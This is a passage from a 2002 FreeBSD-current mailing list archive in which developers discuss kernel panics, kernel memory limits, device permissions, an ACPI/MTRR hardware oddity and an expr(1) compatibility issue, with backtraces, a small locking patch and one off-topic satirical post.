--dTy3Mrz/UPE2dbVg Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE8wz6WWry0BWjoQKURAvCmAKDLXdgpLMBaHFT3hQmO8nLFIavfhQCggq0g ut/0vwlx6gQSzjEmth4HF3w= =5Kvv -----END PGP SIGNATURE----- --dTy3Mrz/UPE2dbVg-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Apr 21 15:36:12 2002 Delivered-To: freebsd-current@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-18.dsl.lsan03.pacbell.net [64.165.226.18]) by hub.freebsd.org (Postfix) with ESMTP id C79A137B416 for ; Sun, 21 Apr 2002 15:33:07 -0700 (PDT) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 368B066D03; Sun, 21 Apr 2002 15:33:06 -0700 (PDT) Date: Sun, 21 Apr 2002 15:33:06 -0700 From: Kris Kennaway To: Adrian Penisoara Cc: freebsd-current@FreeBSD.ORG Subject: Re: panic:bremfree with today's current and linux-netscape Message-ID: <20020421153306.A21894@xor.obsecurity.org> References: Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="IS0zKkzwUGydFO0o" Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: ; from ady@freebsd.ady.ro on Sun, Apr 21, 2002 at 05:22:20PM +0300 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --IS0zKkzwUGydFO0o Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Sun, Apr 21, 2002 at 05:22:20PM +0300, Adrian Penisoara wrote: > Panicstring: bremfree: bp 0xc77fb678 not locked This isn't the real panic, it's a second panic caused by trying to sync disks. > How-to-repeat: launch linux-netscape while in X11 Are you absolutely sure all kernel modules are up to date? A sure-fire way to cause panics with linux applications is to use an out of date linux.ko. Kris --IS0zKkzwUGydFO0o Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE8wz4iWry0BWjoQKURApMpAJwM7seHRdY60AnJIS7ntz9AwdgYvACg1mz4 8ulliquUpJg5YI6FdbyO0ms= =5LCl -----END PGP SIGNATURE----- --IS0zKkzwUGydFO0o-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Apr 21 16:51:26 2002 Delivered-To: freebsd-current@freebsd.org Received: from earth.hub.org (earth.hub.org [64.49.215.11]) by hub.freebsd.org (Postfix) with ESMTP id D6F3437B400; Sun, 21 Apr 2002 16:50:44 -0700 (PDT) Received: from localhost.localdomain (earth.hub.org [64.49.215.11]) by localhost (Postfix) with ESMTP id 0E3641033EA; Sun, 21 Apr 2002 20:50:41 -0300 (ADT) Received: from earth.hub.org (earth.hub.org [64.49.215.11]) by earth.hub.org (Postfix) with ESMTP id C25031033E3; Sun, 21 Apr 2002 20:50:40 -0300 (ADT) Date: Sun, 21 Apr 2002 20:50:40 -0300 (ADT) From: "Marc G. Fournier" To: Terry Lambert Cc: freebsd-current@freebsd.org, Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? In-Reply-To: <3CC26C91.C81002ED@mindspring.com> Message-ID: <20020421201025.C1721-100000@mail1.hub.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, 21 Apr 2002, Terry Lambert wrote: > "Marc G. Fournier" wrote: > > > You have more memory than you can allocate kernel memory to > > > provide page table entries for. > > > > > > The only solution is to increase your kernel virtual address > > > space size to accomodate the page mappings. > > > > > > How to do this varies widely by the version of FreeBSD you are > > > using, and, unless you read "NOTES" and are running a recent > > > -current, is not incredibly well documented, and requires an > > > understanding of how the virtual address space is laid out and > > > managed (which is also not well documented anywhere). > > > > Ya, this is the roadblock I'm hitting :( I'm running 4.5-STABLE here, as > > of this afternoon ... thoughts/suggestiosn based on that? > > Read the handbook as it existed for 4.5-STABLE, and read NOTES. > It (sorta) tells you how to increase your KVA size. > > > > Also, is there somethign that I can run to monitor this, similar to > > running netstat -m to watch nmbclusters? > > DDB? 8-) 8-). > > No, there's no stats collected on this stuff, because it's a > pretty obvious and straight-forward thing: you have to have a > KVA space large enough that, once you subtract out 4K for each > 4M of physical memory and swap (max 4G total for both), you > end up with memory left over for the kernel to use, and your > limits are such that the you don't run out of PTEs before you > run out of mbufs (or whatever you plan on allocating). ... and translated to english, this means? :) Okay, I'm going to assume that I'm allowed 4Gig of RAM + 4Gig of Swap, for a total of 8Gig ... so, if I subtract out 4K for each 4M, that is 8M for ... what? So, I've theoretically got 8184M of VM available for the kernel to use right now? what are PTEs and how do I know how many I have right now? as for mbufs, I've currently got: jupiter> netstat -m 173/1664/61440 mbufs in use (current/peak/max): 77 mbufs allocated to data 96 mbufs allocated to packet headers 71/932/15360 mbuf clusters in use (current/peak/max) 2280 Kbytes allocated to network (4% of mb_map in use) 0 requests for memory denied 0 requests for memory delayed 0 calls to protocol drain routines So how do I find out where my PTEs are sitting at? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Apr 21 17:15:12 2002 Delivered-To: freebsd-current@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id 53D0837B405; Sun, 21 Apr 2002 17:15:07 -0700 (PDT) Received: from fledge.watson.org (fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.11.6/8.11.6) with SMTP id g3M0Ejw08129; Sun, 21 Apr 2002 20:14:45 -0400 (EDT) (envelope-from robert@fledge.watson.org) Date: Sun, 21 Apr 2002 20:14:45 -0400 (EDT) From: Robert Watson X-Sender: robert@fledge.watson.org To: Poul-Henning Kamp Cc: Doug Barton , Craig Boston , current@FreeBSD.ORG Subject: Re: Adding a 'bpf' group for /dev/bpf* In-Reply-To: <48554.1019398383@critter.freebsd.dk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, 21 Apr 2002, Poul-Henning Kamp wrote: > In message , Robe > rt Watson writes: > > >> rc.devfs > > > >Unfortunately, this works poorly for cloned devices. At various meetings, > >there has been discussion of a devfsd and/or devd; that's probably the > >vehicle for doing that kind of administrative change. Unfortunately, it > >doesn't exist yet, although I think Warner had done some prototyping. > > Dima is actually working on this problem right now, and he has sent me a > prototype which shows great promise. This is great news. I look forward to seeing some details on -arch once the prototype is ready. Robert N M Watson FreeBSD Core Team, TrustedBSD Project robert@fledge.watson.org NAI Labs, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Apr 21 19:29:43 2002 Delivered-To: freebsd-current@freebsd.org Received: from white.imgsrc.co.jp (ns.imgsrc.co.jp [210.226.20.2]) by hub.freebsd.org (Postfix) with ESMTP id 970C437B405 for ; Sun, 21 Apr 2002 19:29:37 -0700 (PDT) Received: from black.imgsrc.co.jp (black.imgsrc.co.jp [2001:218:422:2::130]) by white.imgsrc.co.jp (Postfix) with ESMTP id B628D24D06 for ; Mon, 22 Apr 2002 11:29:36 +0900 (JST) Received: from waterblue.imgsrc.co.jp (waterblue.imgsrc.co.jp [2001:218:422:2::160]) by black.imgsrc.co.jp (Postfix) with ESMTP id 684D61E46F6 for ; Mon, 22 Apr 2002 11:29:35 +0900 (JST) Date: Mon, 22 Apr 2002 11:28:41 +0900 Message-ID: <7mpu0szcti.wl@waterblue.imgsrc.co.jp> From: Jun Kuriyama To: Current Subject: lock order reversal and panic in kern_descrip.c User-Agent: Wanderlust/2.9.7 (Unchained Melody) SEMI/1.14.3 (Ushinoya) FLIM/1.14.3 (=?ISO-8859-4?Q?Unebigory=F2mae?=) APEL/10.3 Emacs/21.1 (i386--freebsd) MULE/5.0 (=?ISO-2022-JP?B?GyRCOC1MWhsoQg==?=) MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Today's -current kernel. This happend when I invoke linux-netscape. lock order reversal 1st 0xe7fdf134 filedesc structure (filedesc structure) @ ../../../kern/kern_descrip.c:1531 2nd 0xc0321ca0 filelist lock (filelist lock) @ ../../../kern/kern_descrip.c:1092 recursed on non-recursive lock (sleep mutex) filedesc structure @ ../../../kern/kern_descrip.c:1114 first acquired @ ../../../kern/kern_descrip.c:1531 panic: recurse cpuid = 0; lapic.id = 00000000 Debugger("panic") Stopped at Debugger+0x41: xorl %eax,%eax db> trace Debugger(c02d523a) at Debugger+0x41 panic(c02d8808,e7fdf134,0,c02d1af3,0) at panic+0xd8 witness_lock(e7fdf134,8,c02d1af3,45a) at witness_lock+0x198 _mtx_lock_flags(e7fdf134,0,c02d1af3,45a,e7a5be10) at _mtx_lock_flags+0x74 falloc(e7f8ed50,e805baa0,e805baa8,e7fdf134,0) at falloc+0xaf fdcheckstd(e7f8ed50,e805bd20,e7f8ed50,bfbfc2d0,e7f8ec50) at fdcheckstd+0x1d7 execve(e7f8ed50,e805bcdc,e7f8ee2c,e7f8ec50,bfbffeb8) at execve+0x6ae linux_execve(e7f8ed50,e805bd20,bfbfc2d0,84a9d2a,bfbfc2d0) at linux_execve+0x5b syscall(85b002f,bfbf002f,bfbf002f,bfbfc2d0,84a9d2a) at syscall+0x223 syscall_with_err_pushed() at syscall_with_err_pushed+0x1b --- syscall (11, FreeBSD ELF, nosys), eip = 0x2881990b, esp = 0xbfbfc298, ebp = 0xbfbfc2a8 --- (kgdb) where #0 doadump () at ../../../kern/kern_shutdown.c:213 #1 0xc01b26b8 in boot (howto=260) at ../../../kern/kern_shutdown.c:346 #2 0xc01b28c9 in panic (fmt=0xc02be36a "from debugger") at ../../../kern/kern_shutdown.c:490 #3 0xc0131891 in db_panic (addr=-1071031351, have_addr=0, count=-1, modif=0xe805b88c "") at ../../../ddb/db_command.c:449 #4 0xc013182f in db_command (last_cmdp=0xc03020e4, cmd_table=0xc0301f04, aux_cmd_tablep=0xc02fc238, aux_cmd_tablep_end=0xc02fc23c) at ../../../ddb/db_command.c:345 #5 0xc01318fb in db_command_loop () at ../../../ddb/db_command.c:471 #6 0xc0133c8f in db_trap (type=3, code=0) at ../../../ddb/db_trap.c:72 #7 0xc029590a in kdb_trap (type=3, code=0, regs=0xe805b988) at ../../../i386/i386/db_interface.c:161 #8 0xc02a98ec in trap (frame={tf_fs = -403177448, tf_es = 16, tf_ds = -403177456, tf_edi = -1070024964, tf_esi = 256, tf_ebp = -402277936, tf_isp = -402277964, tf_ebx = -1070757880, tf_edx = 0, tf_ecx = 0, tf_eax = 18, tf_trapno = 3, tf_err = 0, tf_eip = -1071031351, tf_cs = 8, tf_eflags = 582, tf_esp = -1070645245, tf_ss = -1070771654}) at ../../../i386/i386/trap.c:585 #9 0xc0295bc9 in Debugger (msg=0xc02d523a "panic") at machine/cpufunc.h:68 #10 0xc01b28b4 in panic (fmt=0xc02d8808 "recurse") at ../../../kern/kern_shutdown.c:477 #11 0xc01ca3d8 in witness_lock (lock=0xe7fdf134, flags=8, file=0xc02d1af3 "../../../kern/kern_descrip.c", line=1114) at ../../../kern/subr_witness.c:533 #12 0xc01aad4c in _mtx_lock_flags (m=0xe7fdf134, opts=0, file=0xc02d1af3 "../../../kern/kern_descrip.c", line=1114) at ../../../kern/kern_mutex.c:314 #13 0xc019c3df in falloc (td=0xe7f8ed50, resultfp=0xe805baa0, resultfd=0xe805baa8) at ../../../kern/kern_descrip.c:1114 #14 0xc019d01b in fdcheckstd (td=0xe7f8ed50) at ../../../kern/kern_descrip.c:1532 #15 0xc01a04e2 in execve (td=0xe7f8ed50, uap=0xe805bcdc) at ../../../kern/kern_exec.c:372 #16 0xe7cc3aff in ?? () #17 0xc02aa08f in syscall (frame={tf_fs = 140181551, tf_es = -1078001617, tf_ds = -1078001617, tf_edi = -1077951792, tf_esi = 139107626, tf_ebp = -1077951832, tf_isp = -402277004, tf_ebx = -1077951792, tf_edx = 143628032, tf_ecx = -1077951676, tf_eax = 11, tf_trapno = 12, tf_err = 2, tf_eip = 679581963, tf_cs = 31, tf_eflags = 582, tf_esp = -1077951848, tf_ss = 47}) at ../../../i386/i386/trap.c:1022 #18 0xc02968dd in syscall_with_err_pushed () Cannot access memory at address 0xbfbfc2a8. (kgdb) up 11 #11 0xc01ca3d8 in witness_lock (lock=0xe7fdf134, flags=8, file=0xc02d1af3 "../../../kern/kern_descrip.c", line=1114) at ../../../kern/subr_witness.c:533 533 panic("recurse"); (kgdb) list 528 printf( 529 "recursed on non-recursive lock (%s) %s @ %s:%d\n", 530 class->lc_name, lock->lo_name, file, line); 531 printf("first acquired @ %s:%d\n", lock1->li_file, 532 lock1->li_line); 533 panic("recurse"); 534 } 535 CTR4(KTR_WITNESS, "%s: pid %d recursed on %s r=%d", __func__, 536 td->td_proc->p_pid, lock->lo_name, 537 lock1->li_flags & LI_RECURSEMASK); -- Jun Kuriyama // IMG SRC, Inc. // FreeBSD Project To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Apr 21 22: 4: 5 2002 Delivered-To: freebsd-current@freebsd.org Received: from helb.tcpipbitch.net (gw.tcpipbitch.net [208.59.233.179]) by hub.freebsd.org (Postfix) with ESMTP id 5398837B428 for ; Sun, 21 Apr 2002 22:04:01 -0700 (PDT) Received: from desktop (desktop.tcpipbitch.net [10.0.0.3]) by helb.tcpipbitch.net (Postfix) with ESMTP id 9CB722F for ; Mon, 22 Apr 2002 00:54:51 -0400 (EDT) From: To: "Freebsd Current" Subject: Offtopic, but hilarious Date: Mon, 22 Apr 2002 00:55:36 -0400 Message-ID: <000001c1e9b9$f10765e0$0300000a@desktop> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Okay, this was pointed out to me on linpeople irc network. Basically if your in the US, and you know who Jerry Fallwell is (spelling??), the story is something you would expect from him. http://members.truepath.com/objective/propaganda.html I apologise in advance if I offended anyone with this, but its too funny to pass up. Heres a sample quote from said story. Apparently the Darwin OS is not the original creation of Apple Computers but is instead based off of an older, obsolete OS called "BSD Unix". The child-indoctrinatingly-cute cartoon mascot of this OS is a devil holding a pitchfork (pictured above). This OS -- and its Darwin offspring -- extensively use what are called "daemons" (which is how Pagans write "demon" -- they are notoriously poor spellers: magick, vampyre, etc.) which is a program that hides in the background, doing things without the user's notice. If you are using a new Macintosh running OS X then you probably have these "daemons" on your computer, hardly something a good Christian would want! This clearly illustrates that not only is Macintosh based on Darwinism, but Darwinism is based on Satanism. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Apr 21 22:59:52 2002 Delivered-To: freebsd-current@freebsd.org Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31]) by hub.freebsd.org (Postfix) with ESMTP id A477037B421 for ; Sun, 21 Apr 2002 22:59:50 -0700 (PDT) Received: by flood.ping.uio.no (Postfix, from userid 2602) id 780B5530B; Mon, 22 Apr 2002 07:53:55 +0200 (CEST) X-URL: http://www.ofug.org/~des/ X-Disclaimer: The views expressed in this message do not necessarily coincide with those of any organisation or company with which I am or have been affiliated. To: Bill Fenner Cc: ache@nagual.pp.ru, current@FreeBSD.ORG Subject: Re: PAM & OpenSSH: two incorrect "last login" References: <20020420011633.GA66468@nagual.pp.ru> <200204212015.NAA06317@windsor.research.att.com> From: Dag-Erling Smorgrav Date: 22 Apr 2002 07:53:54 +0200 In-Reply-To: <200204212015.NAA06317@windsor.research.att.com> Message-ID: Lines: 11 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/21.1 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Bill Fenner writes: > While you're in here, does it make sense to use strftime() instead of > printing just a portion of what ctime returns? Might, might not. ISTR strftime() can't correctly emulate ctime(), but some other format might be preferrable. Do you have a format string handy? DES -- Dag-Erling Smorgrav - des@ofug.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Apr 21 23: 6:13 2002 Delivered-To: freebsd-current@freebsd.org Received: from helb.tcpipbitch.net (gw.tcpipbitch.net [208.59.233.179]) by hub.freebsd.org (Postfix) with ESMTP id 647C237B43F for ; Sun, 21 Apr 2002 23:05:58 -0700 (PDT) Received: from desktop (desktop.tcpipbitch.net [10.0.0.3]) by helb.tcpipbitch.net (Postfix) with ESMTP id 885002F; Mon, 22 Apr 2002 02:01:20 -0400 (EDT) From: To: , "Freebsd Current" Subject: RE: Offtopic, but hilarious Date: Mon, 22 Apr 2002 02:02:05 -0400 Message-ID: <000401c1e9c3$3ae4eb20$0300000a@desktop> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 In-Reply-To: <20020422055017.GA54622@sysadm.stc> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I posted it for its amusement value, nothing else :) -----Original Message----- From: Igor Roboul [mailto:igorr@sysadm.stc] Sent: Monday, April 22, 2002 1:50 AM To: freebsd-current@tcpipbitch.net Subject: Re: Offtopic, but hilarious On Mon, Apr 22, 2002 at 12:55:36AM -0400, freebsd-current@tcpipbitch.net wrote: > Okay, this was pointed out to me on linpeople irc network. Basically > if your in the US, and you know who Jerry Fallwell is (spelling??), > the story is something you would expect from him. > > http://members.truepath.com/objective/propaganda.html > > > I apologise in advance if I offended anyone with this, but its too > funny to pass up. There are so many crazy people, so if we'll worry about every of them, then we'll be so crazy as they are. -- Igor Roboul, System administrator at Speech Technology Center http://www.speechpro.com http://www.speechpro.ru To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Apr 21 23:32:17 2002 Delivered-To: freebsd-current@freebsd.org Received: from a96180.upc-a.chello.nl (a96180.upc-a.chello.nl [62.163.96.180]) by hub.freebsd.org (Postfix) with ESMTP id 090D537B417; Sun, 21 Apr 2002 23:32:11 -0700 (PDT) Received: by a96180.upc-a.chello.nl (Postfix, from userid 1001) id 4CCD02172; Mon, 22 Apr 2002 08:04:49 +0200 (CEST) Date: Mon, 22 Apr 2002 08:04:49 +0200 From: Jeroen Ruigrok/asmodai To: "Marc G. Fournier" Cc: freebsd-current@freebsd.org, freebsd-stable@freebsd.org Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? Message-ID: <20020422060449.GE54143@daemon.ninth-circle.org> References: <20020420190408.O30724-100000@mail1.hub.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020420190408.O30724-100000@mail1.hub.org> User-Agent: Mutt/1.3.28i Organisation: Ninth Circle Enterprises Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Marc, -On [20020421 00:30], Marc G. Fournier (scrappy@hub.org) wrote: > >Over the past week, I've been trying to get information on how to fix a >server that panics with: > >| panic: vm_map_entry_create: kernel resources exhausted >| mp_lock = 01000001; cpuid = 1; lapic.id = 01000000 >| boot() called on cpu#1 Take a look at this: http://www.freebsd.org/cgi/getmsg.cgi?fetch=245329+248644+/usr/local/www/db/text/2001/freebsd-hackers/20010624.freebsd-hackers Hope this helps, -- Jeroen Ruigrok van der Werven / asmodai / Kita no Mono asmodai@[wxs.nl|xmach.org], finger asmodai@ninth-circle.org http://www.softweyr.com/asmodai/ | http://www.[tendra|xmach].org/ How many cares one loses when one decides not to be something but to be someone. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Apr 21 23:57:42 2002 Delivered-To: freebsd-current@freebsd.org Received: from salmon.maths.tcd.ie (salmon.maths.tcd.ie [134.226.81.11]) by hub.freebsd.org (Postfix) with SMTP id A995637B405 for ; Sun, 21 Apr 2002 23:57:38 -0700 (PDT) Received: from walton.maths.tcd.ie by salmon.maths.tcd.ie with SMTP id ; 22 Apr 2002 07:53:11 +0100 (BST) To: acpi-jp@jp.FreeBSD.org, current@freebsd.org Subject: Odd problem with MTRR and ACPI X-Request-Do: Date: Mon, 22 Apr 2002 07:53:10 +0100 From: David Malone Message-ID: <200204220753.aa19942@salmon.maths.tcd.ie> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I have an ASUS A7A266 motherboard with an Athlon XP processor which seems prone to weirdness. The BIOS seems to set the MTRRs to some undocumented values, which used to prevent X starting. I've now fixed the MTRR code and X works fine. Unfortunately, when X changes the MTRRs then ACPI stops working. I tracked this down and found that the ACPI data just vanishes out of memory when you change the MTRRs! (Illustration included below, including hexdump of the bits of memory in question.) Has anyone seen anything like this? Does anyone have any idea what the old MTRR values mean? They are changed from 0x10(=???) to 0x01(=write-combine). David. MSR 26e, old=0x1010101010101010 new=0x0101010101010101 MSR 26f, old=0x1010101010101010 new=0x0101010101010101 gonzo 3 # acpidump | head -3 Found sig at f78c0 Checksum OK at f78c0 /* RSD PTR: Checksum=144, OEMID=ASUS, RsdtAddress=0x17fec000 */ gonzo 4# dd if=/dev/mem bs=1024 count=1024 | hd -s 0xf78c0 000f78c0 52 53 44 20 50 54 52 20 90 41 53 55 53 20 20 00 |RSD PTR .ASUS .| 000f78d0 00 c0 fe 17 00 c0 fe 17 40 c0 fe 17 80 c0 fe 17 |........@.......| 000f78e0 00 c1 fe 17 00 f0 ff 17 00 00 00 00 00 00 00 00 |................| 000f78f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 000f8000 90 90 90 90 90 90 90 90 e9 41 61 2e 8b c0 8b c0 |.........Aa.....| 00100000 gonzo 5# memcontrol set -b 983040 -l 65536 -o XFree86 write-combine gonzo 6# acpidump | head -3 acpidump: Can't find ACPI information gonzo 7# dd if=/dev/mem bs=1024 count=1024 | hd -s 0xf78c0 000f78c0 0c 00 04 00 00 40 f0 17 01 00 00 00 0b 80 00 00 |.....@..........| * 000fc240 0c 00 04 00 00 40 f0 17 01 00 00 00 00 00 00 00 |.....@..........| 000fc250 0c 00 00 00 00 08 3e ca 01 00 00 00 00 00 00 00 |......>.........| * 00100000 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 1:37:19 2002 Delivered-To: freebsd-current@freebsd.org Received: from hawk.mail.pas.earthlink.net (hawk.mail.pas.earthlink.net [207.217.120.22]) by hub.freebsd.org (Postfix) with ESMTP id 0C0C237B400; Mon, 22 Apr 2002 01:37:16 -0700 (PDT) Received: from pool0030.cvx21-bradley.dialup.earthlink.net ([209.179.192.30] helo=mindspring.com) by hawk.mail.pas.earthlink.net with esmtp (Exim 3.33 #2) id 16zZEv-0002Nj-00; Mon, 22 Apr 2002 01:32:01 -0700 Message-ID: <3CC3CA65.8ED064B0@mindspring.com> Date: Mon, 22 Apr 2002 01:31:33 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: John Hay Cc: Mike Barcroft , freebsd-current@FreeBSD.ORG, wollman@FreeeBSD.ORG Subject: Re: new expr(1) behaviour breaks libtool References: <200204211817.g3LIHTQ18310@zibbi.icomtek.csir.co.za> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG John Hay wrote: > > > I see the new new behaviour of expr(1) requires you to add '--' if your > > > commandline arguments might start with a '-'. This does break things > > > a little because our old expr(1) does not understand a '--' in the > > > beginning and the new one don't work right without it. :-((( > > > > I'm almost positive this issue was discussed before. Check the follow > > ups to the commit. > > The only one I could find was in -current, where Kris asked if w3m or > expr is to blame and Garrett said w3m is to blame. Garrett is right. The "expr" is being called with non-POSIX arguments by the w3c scripts. > Hmmmm. I can understand the requirement to eat '--', but to throw a > tantrum just because the commandline started with a '-' is a little > too much. BTW, was the response posted somewhere? I searched through > -standards, -commit and -current but couldn't find it. Maybe I just > didn't ask the right question to the search engine or maybe it was > in another list. The correct way to handle the "continuing brokenness" is to provide patches that will get applied to "libtool". Also, you complaint about different versionsion of FreeBSD being different is wrong: POSIX compliant scripts will call the command with POSIX compliant arguments, regardless of the FreeBSD version. Just because you can get away with it on older versions of FreeBSD doesn't mean that the patches shouldn't be applied there, too: they should, because it's important that the resulting scripts be standards compliant, even if the particular version of FreeBSD you are using has an implementation of "expr" that illegally extends the standard. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 1:59:29 2002 Delivered-To: freebsd-current@freebsd.org Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16]) by hub.freebsd.org (Postfix) with ESMTP id 73D2937B423; Mon, 22 Apr 2002 01:59:23 -0700 (PDT) Received: from bde.zeta.org.au (bde.zeta.org.au [203.2.228.102]) by mailman.zeta.org.au (8.9.3/8.8.7) with ESMTP id SAA28755; Mon, 22 Apr 2002 18:24:30 +1000 Date: Mon, 22 Apr 2002 18:25:17 +1000 (EST) From: Bruce Evans X-X-Sender: bde@gamplex.bde.org To: Maxim Konovalov Cc: freebsd-current@FreeBSD.ORG, Adrian Penisoara , Subject: Re: panic:bremfree with today's current and linux-netscape In-Reply-To: <20020421210807.T76833-100000@news1.macomnet.ru> Message-ID: <20020422181848.G8032-100000@gamplex.bde.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, 21 Apr 2002, Maxim Konovalov wrote: > As Adrian Penisoara already reported > > http://docs.freebsd.org/cgi/getmsg.cgi?fetch=19645+0+current/freebsd-current > > there is panic in -current. I believe it is related to the next > commit: > > nectar 2002/04/18 17:45:29 PDT > > Modified files: > sys/kern kern_descrip.c kern_exec.c > sys/sys filedesc.h > Log: > When exec'ing a set[ug]id program, make sure that the stdio file descriptors > (0, 1, 2) are allocated by opening /dev/null for any which are not already > open. > > Reviewed by: alfred, phk > MFC after: 2 days > > Here is my workaround but I am not sure is it correct or not. Seems > falloc() takes care about locking itself. > > Index: src/sys/kern/kern_descrip.c > =================================================================== > RCS file: /home/ncvs/src/sys/kern/kern_descrip.c,v > retrieving revision 1.138 > diff -u -r1.138 kern_descrip.c > --- src/sys/kern/kern_descrip.c 20 Apr 2002 12:02:52 -0000 1.138 > +++ src/sys/kern/kern_descrip.c 21 Apr 2002 17:04:58 -0000 > @@ -1528,9 +1528,7 @@ > if (fdp->fd_ofiles[i] != NULL) > continue; > if (devnull < 0) { > - FILEDESC_LOCK(fdp); > error = falloc(td, &fp, &fd); > - FILEDESC_UNLOCK(fdp); > if (error != 0) > break; > NDINIT(&nd, LOOKUP, FOLLOW, UIO_SYSSPACE, "/dev/null", > > %%% I use the same patch. Locking here is essentially equivalent to calling panic() here (except it gives a more confusing panic message :-). I think opening file descriptors on exec is wrong anyway. POSIX has close-on-exec but not open-on-exec. Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 2:35:36 2002 Delivered-To: freebsd-current@freebsd.org Received: from snipe.prod.itd.earthlink.net (snipe.mail.pas.earthlink.net [207.217.120.62]) by hub.freebsd.org (Postfix) with ESMTP id C046F37B42C; Mon, 22 Apr 2002 02:35:21 -0700 (PDT) Received: from pool0030.cvx21-bradley.dialup.earthlink.net 